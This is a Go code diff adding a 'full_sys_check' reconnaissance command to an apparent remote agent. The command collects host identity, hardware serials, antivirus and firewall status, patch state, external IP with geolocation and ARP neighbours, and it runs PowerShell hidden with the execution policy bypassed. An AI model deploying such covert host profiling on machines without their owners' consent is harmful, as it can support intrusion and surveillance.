if ip4 := v.IP.To4(); ip4 != nil {
entry.IPv4 = append(entry.IPv4, fmt.Sprintf("%s/%d", ip4.String(), ones(v.Mask)))
} else if v.IP != nil && v.IP.To4() == nil {
entry.IPv6 = append(entry.IPv6, v.IP.String())
}
}
}
if len(entry.IPv4) > 0 || len(entry.IPv6) > 0 || entry.MAC != "" {
out = append(out, entry)
}
}
return out
}
func ones(mask net.IPMask) int {
n, _ := mask.Size()
return n
}
func fetchExternalIP() (ip, source string) {
client := &http.Client{Timeout: 6 * time.Second}
services := []struct {
url string
source string
}{
{"https://api.ipify.org", "ipify"},
{"https://icanhazip.com", "icanhazip"},
{"https://ifconfig.me/ip", "ifconfig.me"},
}
for _, svc := range services {
resp, err := client.Get(svc.url)
if err != nil {
continue
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 64))
resp.Body.Close()
if err != nil || resp.StatusCode != http.StatusOK {
continue
}
candidate := strings.TrimSpace(string(body))
if parsed := net.ParseIP(candidate); parsed != nil && parsed.To4() != nil {
return candidate, svc.source
}
}
if wan, err := deploy.GetPublicEndpoint(); err == nil && wan != "" {
return wan, "upnp"
}
return "", ""
}
func fetchGeo(ip string) *SysCheckGeo {
if ip == "" {
return nil
}
url := fmt.Sprintf("http://ip-api.com/json/%s?fields=status,message,query,country,regionName,city,lat,lon,isp,org", ip)
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(url)
if err != nil {
return nil
}
defer resp.Body.Close()
data, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
if err != nil {
return nil
}
var m map[string]interface{}
if json.Unmarshal(data, &m) != nil {
return nil
}
if s, _ := m["status"].(string); s != "success" {
return nil
}
g := &SysCheckGeo{Query: ip}
if v, ok := m["country"].(string); ok {
g.Country = v
}
if v, ok := m["regionName"].(string); ok {
g.Region = v
}
if v, ok := m["city"].(string); ok {
g.City = v
}
if v, ok := m["isp"].(string); ok {
g.ISP = v
}
if v, ok := m["org"].(string); ok {
g.Org = v
}
if v, ok := m["lat"].(float64); ok {
g.Lat = v
}
if v, ok := m["lon"].(float64); ok {
g.Lon = v
}
return g
}

View File

@@ -0,0 +1,158 @@
package client
import "encoding/json"
// FullSysCheckReport is returned by the full_sys_check command (read-only recon).
type FullSysCheckReport struct {
GeneratedAt string `json:"generated_at"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version,omitempty"`
Hostname string `json:"hostname,omitempty"`
WorkerName string `json:"worker_name,omitempty"`
BuildID string `json:"build_id,omitempty"`
AgentID string `json:"agent_id,omitempty"`
Identity *SysCheckIdentity `json:"identity,omitempty"`
Hardware *SysCheckHardware `json:"hardware,omitempty"`
Security *SysCheckSecurity `json:"security,omitempty"`
Network *SysCheckNetwork `json:"network,omitempty"`
Resources *ResourcePressure `json:"resources,omitempty"`
ListenPorts *ListenPortsReport `json:"listen_ports,omitempty"`
Patch *PatchStatusReport `json:"patch,omitempty"`
Environment *SysCheckEnvironment `json:"environment,omitempty"`
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
RawSysinfo string `json:"raw_sysinfo,omitempty"`
RawIPConfig string `json:"raw_ipconfig,omitempty"`
RawNetstat string `json:"raw_netstat,omitempty"`
ProbeErrors []string `json:"probe_errors,omitempty"`
}
type SysCheckIdentity struct {
Username string `json:"username,omitempty"`
Domain string `json:"domain,omitempty"`
ComputerName string `json:"computer_name,omitempty"`
AgentElevated bool `json:"agent_elevated,omitempty"`
MACAddress string `json:"mac_address,omitempty"`
}
type SysCheckHardware struct {
Manufacturer string `json:"manufacturer,omitempty"`
Model string `json:"model,omitempty"`
Serial string `json:"serial,omitempty"`
BIOSVersion string `json:"bios_version,omitempty"`
CPUs []SysCheckCPU `json:"cpus,omitempty"`
MemoryGB float64 `json:"memory_gb,omitempty"`
GPUs []SysCheckGPU `json:"gpus,omitempty"`
Disks []SysCheckDisk `json:"disks,omitempty"`
UptimeHours float64 `json:"uptime_hours,omitempty"`
}
type SysCheckCPU struct {
Name string `json:"name,omitempty"`
Cores int `json:"cores,omitempty"`
Logical int `json:"logical,omitempty"`
MaxMHz int `json:"max_mhz,omitempty"`
CurrentMHz int `json:"current_mhz,omitempty"`
}
type SysCheckGPU struct {
Name string `json:"name,omitempty"`
Driver string `json:"driver,omitempty"`
VRAM_MB int `json:"vram_mb,omitempty"`
}
type SysCheckDisk struct {
Mount string `json:"mount,omitempty"`
Label string `json:"label,omitempty"`
FSType string `json:"fs_type,omitempty"`
TotalGB float64 `json:"total_gb,omitempty"`
FreeGB float64 `json:"free_gb,omitempty"`
FreePct int `json:"free_pct,omitempty"`
}
type SysCheckSecurity struct {
PostureScore int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
SSHListening *bool `json:"ssh_listening,omitempty"`
PendingUpdates *int `json:"pending_updates,omitempty"`
LastPatch *string `json:"last_patch,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
Services []ServiceStatus `json:"services,omitempty"`
}
type SysCheckNetwork struct {
PrimaryLocalIP string `json:"primary_local_ip,omitempty"`
ExternalIP string `json:"external_ip,omitempty"`
ExternalIPSource string `json:"external_ip_source,omitempty"`
Geo *SysCheckGeo `json:"geo,omitempty"`
DNS *DNSConfig `json:"dns,omitempty"`
Interfaces []SysCheckInterface `json:"interfaces,omitempty"`
DefaultGateway string `json:"default_gateway,omitempty"`
RoutesSummary string `json:"routes_summary,omitempty"`
}
type SysCheckGeo struct {
Query string `json:"query,omitempty"`
Country string `json:"country,omitempty"`
Region string `json:"region,omitempty"`
City string `json:"city,omitempty"`
ISP string `json:"isp,omitempty"`
Org string `json:"org,omitempty"`
Lat float64 `json:"lat,omitempty"`
Lon float64 `json:"lon,omitempty"`
}
type SysCheckInterface struct {
Name string `json:"name,omitempty"`
MAC string `json:"mac,omitempty"`
IPv4 []string `json:"ipv4,omitempty"`
IPv6 []string `json:"ipv6,omitempty"`
}
type SysCheckEnvironment struct {
Timezone string `json:"timezone,omitempty"`
Locale string `json:"locale,omitempty"`
HomeDir string `json:"home_dir,omitempty"`
TempDir string `json:"temp_dir,omitempty"`
InstallDir string `json:"install_dir,omitempty"`
}
type SysCheckNeighbors struct {
ArpHosts []string `json:"arp_hosts,omitempty"`
SubnetScan string `json:"subnet_scan,omitempty"`
ArpCount int `json:"arp_count,omitempty"`
}
func (r *FullSysCheckReport) JSON() string {
b, _ := json.Marshal(r)
return string(b)
}
func securityFromPosture(p *PostureReport) *SysCheckSecurity {
if p == nil {
return nil
}
return &SysCheckSecurity{
PostureScore: p.PostureScore,
DefenderEnabled: p.DefenderEnabled,
DefenderRTP: p.DefenderRTP,
AVProducts: p.AVProducts,
FirewallDomain: p.FirewallDomain,
FirewallPrivate: p.FirewallPrivate,
FirewallPublic: p.FirewallPublic,
SSHListening: p.SSHListening,
PendingUpdates: p.PendingUpdates,
LastPatch: p.LastPatch,
LastPatchDays: p.LastPatchDays,
RebootPending: p.RebootPending,
Services: p.Services,
}
}

View File

@@ -0,0 +1,138 @@
//go:build !windows
package client
import (
"os"
"os/exec"
"os/user"
"runtime"
"strconv"
"strings"
)
func collectSysCheckPlatform(r *FullSysCheckReport) {
hw := &SysCheckHardware{}
if out, err := exec.Command("uname", "-a").CombinedOutput(); err == nil {
parts := strings.Fields(string(out))
if len(parts) >= 3 {
hw.Manufacturer = parts[2]
}
}
if runtime.GOOS == "darwin" {
if out, err := exec.Command("sysctl", "-n", "hw.model").CombinedOutput(); err == nil {
hw.Model = strings.TrimSpace(string(out))
}
if out, err := exec.Command("sysctl", "-n", "hw.memsize").CombinedOutput(); err == nil {
if n, err := strconv.ParseInt(strings.TrimSpace(string(out)), 10, 64); err == nil {
hw.MemoryGB = float64(n) / (1024 * 1024 * 1024)
}
}
} else {
if out, err := exec.Command("sh", "-c", "grep -m1 'model name' /proc/cpuinfo | cut -d: -f2").CombinedOutput(); err == nil {
hw.CPUs = []SysCheckCPU{{Name: strings.TrimSpace(string(out))}}
}
if out, err := exec.Command("sh", "-c", "grep -c ^processor /proc/cpuinfo").CombinedOutput(); err == nil {
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && len(hw.CPUs) > 0 {
hw.CPUs[0].Logical = n
}
}
if out, err := exec.Command("free", "-b").CombinedOutput(); err == nil {
lines := strings.Split(string(out), "\n")
if len(lines) > 1 {
fields := strings.Fields(lines[1])
if len(fields) >= 2 {
if total, err := strconv.ParseInt(fields[1], 10, 64); err == nil {
hw.MemoryGB = float64(total) / (1024 * 1024 * 1024)
}
}
}
}
}
if out, err := exec.Command("df", "-h").CombinedOutput(); err == nil {
hw.Disks = parseDfOutput(string(out))
}
if out, err := exec.Command("sh", "-c", "cat /proc/uptime 2>/dev/null || sysctl -n kern.boottime 2>/dev/null").CombinedOutput(); err == nil {
fields := strings.Fields(string(out))
if len(fields) > 0 {
if sec, err := strconv.ParseFloat(fields[0], 64); err == nil {
hw.UptimeHours = sec / 3600
}
}
}
r.Hardware = hw
if r.Identity == nil {
r.Identity = &SysCheckIdentity{}
}
if u, err := user.Current(); err == nil {
r.Identity.Username = u.Username
}
r.Identity.MACAddress = primaryMACAddress()
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
r.Environment.HomeDir = os.Getenv("HOME")
r.Environment.TempDir = os.Getenv("TMPDIR")
if r.Environment.TempDir == "" {
r.Environment.TempDir = "/tmp"
}
if r.Network == nil {
r.Network = &SysCheckNetwork{}
}
if out, err := exec.Command("sh", "-c", "ip route show default 2>/dev/null || route -n get default 2>/dev/null").CombinedOutput(); err == nil {
r.Network.RoutesSummary = strings.TrimSpace(string(out))
for _, line := range strings.Split(string(out), "\n") {
if strings.Contains(line, "via") || strings.Contains(line, "gateway:") {
fields := strings.Fields(line)
for i, f := range fields {
if f == "via" && i+1 < len(fields) {
r.Network.DefaultGateway = fields[i+1]
break
}
if strings.HasPrefix(f, "gateway:") {
r.Network.DefaultGateway = strings.TrimPrefix(f, "gateway:")
break
}
}
break
}
}
}
}
func parseDfOutput(raw string) []SysCheckDisk {
var disks []SysCheckDisk
for _, line := range strings.Split(raw, "\n")[1:] {
fields := strings.Fields(line)
if len(fields) < 6 {
continue
}
mount := fields[len(fields)-1]
disks = append(disks, SysCheckDisk{
Mount: mount,
FSType: fields[0],
TotalGB: parseSizeGB(fields[1]),
FreeGB: parseSizeGB(fields[3]),
})
}
return disks
}
func parseSizeGB(s string) float64 {
s = strings.TrimSuffix(s, "G")
s = strings.TrimSuffix(s, "T")
s = strings.TrimSuffix(s, "M")
f, _ := strconv.ParseFloat(s, 64)
if strings.HasSuffix(s, "T") {
return f * 1024
}
return f
}

View File

@@ -0,0 +1,264 @@
//go:build windows
package client
import (
"encoding/json"
"os"
"os/user"
"strings"
)
const sysCheckWindowsScript = `
$ErrorActionPreference = 'SilentlyContinue'
$o = [ordered]@{}
# Identity
try {
$cs = Get-CimInstance Win32_ComputerSystem
$o.manufacturer = $cs.Manufacturer
$o.model = $cs.Model
$o.domain = $cs.Domain
$o.computer_name = $env:COMPUTERNAME
$o.total_ram_gb = [math]::Round($cs.TotalPhysicalMemory / 1GB, 2)
} catch {}
try {
$bios = Get-CimInstance Win32_BIOS
$o.serial = $bios.SerialNumber
$o.bios_version = $bios.SMBIOSBIOSVersion
} catch {}
try {
$o.cpus = @(Get-CimInstance Win32_Processor | ForEach-Object {
[ordered]@{
name = $_.Name
cores = [int]$_.NumberOfCores
logical = [int]$_.NumberOfLogicalProcessors
max_mhz = [int]$_.MaxClockSpeed
current_mhz = [int]$_.CurrentClockSpeed
}
})
} catch {}
try {
$o.gpus = @(Get-CimInstance Win32_VideoController | ForEach-Object {
[ordered]@{
name = $_.Name
driver = $_.DriverVersion
vram_mb = if ($_.AdapterRAM -and $_.AdapterRAM -gt 0) { [int]($_.AdapterRAM / 1MB) } else { 0 }
}
})
} catch {}
try {
$o.disks = @(Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object {
$freePct = if ($_.Size -gt 0) { [int](($_.FreeSpace / $_.Size) * 100) } else { 0 }
[ordered]@{
mount = $_.DeviceID
label = $_.VolumeName
fs_type = $_.FileSystem
total_gb = [math]::Round($_.Size / 1GB, 2)
free_gb = [math]::Round($_.FreeSpace / 1GB, 2)
free_pct = $freePct
}
})
} catch {}
try {
$os = Get-CimInstance Win32_OperatingSystem
$o.uptime_hours = [math]::Round(((Get-Date) - $os.LastBootUpTime).TotalHours, 1)
$o.timezone = (Get-TimeZone).Id
} catch {}
try {
$gw = Get-NetRoute -DestinationPrefix '0.0.0.0/0' -ErrorAction SilentlyContinue |
Sort-Object RouteMetric | Select-Object -First 1
if ($gw) { $o.default_gateway = $gw.NextHop }
} catch {}
try {
$routes = Get-NetRoute -AddressFamily IPv4 -ErrorAction SilentlyContinue |
Select-Object -First 24 DestinationPrefix, NextHop, InterfaceAlias, RouteMetric |
Format-Table -AutoSize | Out-String -Width 200
$o.routes_summary = $routes.Trim()
} catch {}
$o | ConvertTo-Json -Depth 5 -Compress
`
func collectSysCheckPlatform(r *FullSysCheckReport) {
out, err := silentCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
sysCheckWindowsScript,
)
if err != nil {
r.ProbeErrors = append(r.ProbeErrors, "windows hardware probe: "+err.Error())
} else {
parseWindowsSysCheckJSON(r, string(out))
}
if r.Identity == nil {
r.Identity = &SysCheckIdentity{}
}
if u, err := user.Current(); err == nil {
r.Identity.Username = u.Username
}
r.Identity.MACAddress = primaryMACAddress()
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
r.Environment.TempDir = os.Getenv("TEMP")
r.Environment.HomeDir = os.Getenv("USERPROFILE")
}
func parseWindowsSysCheckJSON(r *FullSysCheckReport, raw string) {
raw = strings.TrimSpace(raw)
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var m map[string]interface{}
if json.Unmarshal([]byte(raw), &m) != nil {
return
}
hw := &SysCheckHardware{}
if v, ok := m["manufacturer"].(string); ok {
hw.Manufacturer = v
}
if v, ok := m["model"].(string); ok {
hw.Model = v
}
if v, ok := m["serial"].(string); ok {
hw.Serial = v
}
if v, ok := m["bios_version"].(string); ok {
hw.BIOSVersion = v
}
if v, ok := m["total_ram_gb"].(float64); ok {
hw.MemoryGB = v
}
if v, ok := m["uptime_hours"].(float64); ok {
hw.UptimeHours = v
}
hw.CPUs = parseCPUList(m["cpus"])
hw.GPUs = parseGPUList(m["gpus"])
hw.Disks = parseDiskList(m["disks"])
r.Hardware = hw
if r.Identity == nil {
r.Identity = &SysCheckIdentity{}
}
if v, ok := m["domain"].(string); ok {
r.Identity.Domain = v
}
if v, ok := m["computer_name"].(string); ok {
r.Identity.ComputerName = v
}
if r.Network == nil {
r.Network = &SysCheckNetwork{}
}
if v, ok := m["default_gateway"].(string); ok {
r.Network.DefaultGateway = v
}
if v, ok := m["routes_summary"].(string); ok {
r.Network.RoutesSummary = v
}
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
if v, ok := m["timezone"].(string); ok {
r.Environment.Timezone = v
}
}
func parseCPUList(v interface{}) []SysCheckCPU {
arr, ok := v.([]interface{})
if !ok {
return nil
}
var out []SysCheckCPU
for _, item := range arr {
obj, ok := item.(map[string]interface{})
if !ok {
continue
}
c := SysCheckCPU{Name: mapStr(obj, "name")}
if n, ok := obj["cores"].(float64); ok {
c.Cores = int(n)
}
if n, ok := obj["logical"].(float64); ok {
c.Logical = int(n)
}
if n, ok := obj["max_mhz"].(float64); ok {
c.MaxMHz = int(n)
}
if n, ok := obj["current_mhz"].(float64); ok {
c.CurrentMHz = int(n)
}
out = append(out, c)
}
return out
}
func parseGPUList(v interface{}) []SysCheckGPU {
arr, ok := v.([]interface{})
if !ok {
return nil
}
var out []SysCheckGPU
for _, item := range arr {
obj, ok := item.(map[string]interface{})
if !ok {
continue
}
g := SysCheckGPU{
Name: mapStr(obj, "name"),
Driver: mapStr(obj, "driver"),
}
if n, ok := obj["vram_mb"].(float64); ok {
g.VRAM_MB = int(n)
}
out = append(out, g)
}
return out
}
func parseDiskList(v interface{}) []SysCheckDisk {
arr, ok := v.([]interface{})
if !ok {
return nil
}
var out []SysCheckDisk
for _, item := range arr {
obj, ok := item.(map[string]interface{})
if !ok {
continue
}
d := SysCheckDisk{
Mount: mapStr(obj, "mount"),
Label: mapStr(obj, "label"),
FSType: mapStr(obj, "fs_type"),
}
if n, ok := obj["total_gb"].(float64); ok {
d.TotalGB = n
}
if n, ok := obj["free_gb"].(float64); ok {
d.FreeGB = n
}
if n, ok := obj["free_pct"].(float64); ok {
d.FreePct = int(n)
}
out = append(out, d)
}
return out
}
func mapStr(m map[string]interface{}, key string) string {
if v, ok := m[key].(string); ok {
return v
}
return ""
}